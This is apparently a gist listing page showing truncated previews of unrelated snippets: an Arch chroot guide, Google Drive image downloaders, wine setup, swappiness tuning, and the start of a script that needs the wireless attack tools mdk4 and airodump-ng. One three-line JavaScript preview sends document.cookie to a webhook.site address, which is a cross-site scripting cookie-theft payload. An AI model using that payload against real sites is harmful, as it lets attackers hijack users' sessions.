A quick guide to chroot into a broken Arch Linux installation from a live USB to perform repairs, such as reinstalling broken packages.
- You must have a bootable Arch Linux USB drive.
| #!/bin/bash | |
| # Google Drive image downloader (macOS optimized) | |
| # Usage: ./download_images_macos.sh -file_path <curl_file> -from <start_page> -to <end_page> [-format <png|jpg|webp>] [-output_path <directory>] [-retry_delay <seconds>] [-rate_limit <seconds>] [-v|-q] | |
| # Default values | |
| CURL_FILE="" | |
| FROM_PAGE=0 | |
| TO_PAGE=0 | |
| OUTPUT_FORMAT="png" |
| #!/bin/bash | |
| # Google Drive image downloader | |
| # Usage: ./download_images.sh -file_path <curl_file> -from <start_page> -to <end_page> [-format <png|jpg|webp>] [-output_path <directory>] [-retry_delay <seconds>] [-rate_limit <seconds>] [-v|-q] | |
| # Default values | |
| CURL_FILE="" | |
| FROM_PAGE=0 | |
| TO_PAGE=0 | |
| OUTPUT_FORMAT="png" |
| #!/bin/bash | |
| # Check if mdk4 and airodump-ng are installed | |
| if ! command -v mdk4 &>/dev/null; then | |
| echo "mdk4 could not be found. Please install it and try again." | |
| exit 1 | |
| fi | |
| if ! command -v airodump-ng &>/dev/null; then | |
| echo "airodump-ng could not be found. Please install it and try again." |
| ``` | |
| sudo apt install mono-complete wine winetricks -y | |
| winetricks dotnet48 | |
| ``` | |
| - Go to https://dl.winehq.org/wine/wine-mono/8.1.0/ | |
| - Download `wine-mono-8.1.0-x86.msi` | |
| ``` | |
| wine64 uninstall |
| var xhttp = new XMLHttpRequest(); | |
| xhttp.open('GET', 'https://webhook.site/22bf9020-43c4-48c0-8d34-483347236b04/?' + document.cookie, true); | |
| xhttp.send(); |
| sudo sysctl vm.swappiness=50 | |
| ## Change forever | |
| > vi /etc/sysctl.conf | |
| vm.swappiness=40 | |
| > sysctl -p |